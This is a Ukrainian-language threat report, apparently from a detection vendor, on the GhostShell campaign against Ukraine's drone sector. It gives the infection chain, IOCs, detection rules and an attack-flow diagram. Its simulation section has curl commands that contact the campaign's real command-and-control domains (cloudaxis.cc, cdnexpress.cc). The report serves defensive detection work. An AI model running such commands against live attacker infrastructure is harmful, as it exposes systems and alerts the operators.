GhostShell (MB-0009): Цілеспрямований вплив на операції БПЛА України та ланцюг постачання оборонного комплексу
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Новий кластер загроз, відомий як GhostShell, націлений на безпілотні літальні апарати України та ширшу екосистему дронів. Операція використовує просунуті зразки шкідливого ПЗ, включаючи імпланти з аутентифікацією mTLS та завантажувачі, що існують у пам’яті. Для отримання початкового доступу зловмисники використовують приманкові документи, які видають себе за українську компанію з виробництва дронів.
Розслідування
Аналітик виявив багатоступеневий ланцюг вторгнення, побудований на VBS-скриптах, імплантах з підтримкою mTLS, таких як 122.exe, та завантажувачах на основі Telegram, таких як update.exe. Зворотна інженерія показала наявність спеціальної XOR-декриптаційної логіки, вбудованого приватного PKI та використання Xray Core для прихованого тунелювання. Розслідування також виявило активність викрадання інформації Vidar в тій самій інфраструктурі.
Пом’якшення
Організації повинні забезпечити сувалу валідацію сертифікатів mTLS та моніторити несанкціоноване використання клієнтських сертифікатів. Видимість кінцевих точок повинна бути покращена для виявлення завантажень у пам’ять, ntdll.dll відключення та підозрілих змін у наполегливості Run Key Windows. Команди повинні також звертати увагу на аномальний вихідний трафік до відомих командних та контрольних доменів і конфігурацій, керованих Telegram.
Відповідь
Уражені системи повинні бути негайно ізольовані, після чого слідує аналіз пам’яті для виявлення імплантів у пам’яті. Журнали мережі потрібно перевірити на наявність трафіку, що включає cloudaxis.cc and cdnexpress.cc. Безпекові команди також повинні полювати на згадані хеші SHA-256 та моніторити наявність специфічного клієнтського сертифіката mTLS CN=ed6e62814295701f.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#cccccc classDef malware fill:#ff9999 classDef process fill:#ccffcc classDef network fill:#ffff99 classDef operator fill:#ff9900 %% Initial Access and Execution Phase action_phishing["<b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Description: Social engineering using decoy PDF documents<br/>impersonating Besomar to target UAV ecosystem."] class action_phishing action action_exploit["<b>Action</b> – <b>T1203 Exploitation for Client Execution</b><br/>Description: Exploiting CVE-2025-8088 and CVE-2025-6218<br/>via malicious archive Besomar_documentation.rar."] class action_exploit action process_vbs["<b>Process</b> – <b>T1059.005 Command and Scripting Interpreter: Visual Basic</b><br/>Description: VBS file dropped into Windows Startup folder<br/>executing Base64-encoded strings via ExecuteGlobal."] class process_vbs process %% Persistence and Payload Download action_persistence_startup["<b>Action</b> – <b>T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</b><br/>Description: VBS file placed in Startup folder for persistence."] class action_persistence_startup action network_download["<b>Network</b> – <b>T1105 Ingress Tool Transfer</b><br/>Description: Downloading secondary payloads from cloudaxis.cc."] class network_download network op_branch(("AND")) class op_branch operator %% Path 1: 122.exe malware_122["<b/>Name: 122.exe<br/>Description: Loader that decrypts an embedded PE using XOR<br/>and executes it in memory."] class malware_122 malware action_fingerprint["<b/>Action: Host Fingerprinting<br/>Description: Collecting computer name, username, and PID."] class action_fingerprint action network_c2_122["<b/>C2 Communication: cdnexpress.cc<br/>Description: Uses unique mTLS client certificate for authentication."] class network_c2_122 network action_screen_cap["<b/>Action: Screen Capture<br/>Description: Capturing screens via GDI+."] class action_screen_cap action action_persistence_reg["<b/>Action: Registry Run Keys<br/>Description: Establishing persistence via Windows Registry Run keys."] class action_persistence_reg action %% Path 2: update.exe malware_update["<b/>Name: update.exe<br/>Description: In-memory loader retrieving C2 config from Telegram."] class malware_update malware action_anti_analysis["<b/>Action: <b>T1562.001 Impair Defenses: Disable or Modify Tools</b><br/>Description: Unhooking EDR/monitoring tools by patching ntdll.dll."] class action_anti_analysis action action_metasploit_stager["<b>Action: <b>T1059.003 Command and Scripting Interpreter: Windows Command Shell</b><br/>Description: Executes a Metasploit-style HTTPS stager in memory."] class action_metasploit_stager action %% Path 3: 22.exe and Vidar malware_22["<b/>Name: 22.exe<br/>Description: Multi-stage launcher utilizing Xray Core client."] class malware_22 malware network_vless["<b/>Network: <b>T1573 Encrypted Channel</b><br/>Description: Tunneling traffic via a VLESS connection."] class network_vless network malware_vidar["<b/>Name: Vidar Malware<br/>Description: Credential and data theft tool targeting browser<br/>passwords, cookies, wallets, and messaging artifacts."] class malware_vidar malware %% Connection Logic action_phishing –>|leads_to| action_exploit action_exploit –>|results_in| process_vbs process_vbs –>|uses| action_persistence_startup action_persistence_startup –>|triggers| network_download network_download –>|delivers| op_branch %% Branching to payloads op_branch –>|payload_1| malware_122 op_branch –>|payload_2| malware_update op_branch –>|payload_3| malware_22 %% 122.exe flow malware_122 –>|performs| action_fingerprint malware_122 –>|communicates_with| network_c2_122 malware_122 –>|capable_of| action_screen_cap malware_122 –>|ensures| action_persistence_reg %% update.exe flow malware_update –>|retrieves_config_from| action_anti_analysis action_anti_analysis –>|executes| action_metasploit_stager %% 22.exe flow malware_22 –>|tunnels_via| network_vless network_vless –>|deploys| malware_vidar "
Потік атак
Виявлення
Коротке ім’я файлу (через cmdline)
Перегляд
LOLBAS WScript / CScript (через process_creation)
Перегляд
Підозріла активність CURL (через cmdline)
Перегляд
Підозрілі двійкові файли/скрипти в місці автоматичного запуску (через file_event)
Перегляд
Можливе зловживання Telegram як командно-контрольним каналом (через dns_query)
Перегляд
Можлива спроба експлуатації уразливості CVE-2025-8088 / CVE-2025-6218 (WinRAR Vulnerability) (через file_event)
Перегляд
Підозріле командування та контроль за незвичайним запитом DNS верхнього рівня (TLD) (через dns)
Перегляд
Виявлення зв’язку та завантаження з інфраструктури GhostShell [Windows Network Connection]
Перегляд
Залуженість програмного забезпечення GhostShell через папку запуску [Подія файлу Windows]
Перегляд
Виконання симуляції
Попередня умова: Тест телеметрії та базової перевірки перед польотом повинен бути пройдено.
Обґрунтування: Цей розділ деталізує точне виконання техніки супротивника (TTP), призначене для запуску правила виявлення. Команди та наратив МАЮТЬ безпосередньо відображати ідентифіковані TTPs і прагнуть генерувати саме ті дані, яких очікує логіка виявлення. Абстрактні чи не пов’язані приклади призведуть до помилкової діагностики.
-
Історія атаки та команди: Супротивник отримав початкову позицію та намагається завантажити спеціалізоване навантаження (
122.exe) для закріплення контролю над ціллю. Щоб залишатися непоміченим, шкідливе ПЗ використовує викрадені або зовні законні домени CDN (cloudaxis.cc). Після завантаження шкідливе ПЗ намагається “серцебити” або надсилати дані назад до інфраструктури C2 через конкретну аналітичну кінцеву точку (cdnexpress.cc/analytics). Симуляція використовуватимеcurlщоб імітувати ці конкретні запити GET для запуску URI-базованої логіки виявлення. -
Скрипт тестування регресії:
# Симуляція завантаження навантаження GhostShell Write-Host "[+] Імітація завантаження навантаження GhostShell..." curl.exe -I "https://cloudaxis.cc/gsmft/yueu/fkvqld/tvqqwh/ushu/122.exe" # Симуляція зв'язку GhostShell C2 (Аналітика) Write-Host "[+] Імітація зв'язку GhostShell C2..." curl.exe -I "https://cdnexpress.cc/analytics" -
Команди очищення:
# Жодні файли не завантажуються в цій симуляції (використовується -I лише для заголовків) # Жодні стійкі зміни в системі не вносяться. Write-Host "[+] Симуляція завершена. Очищення не потрібне."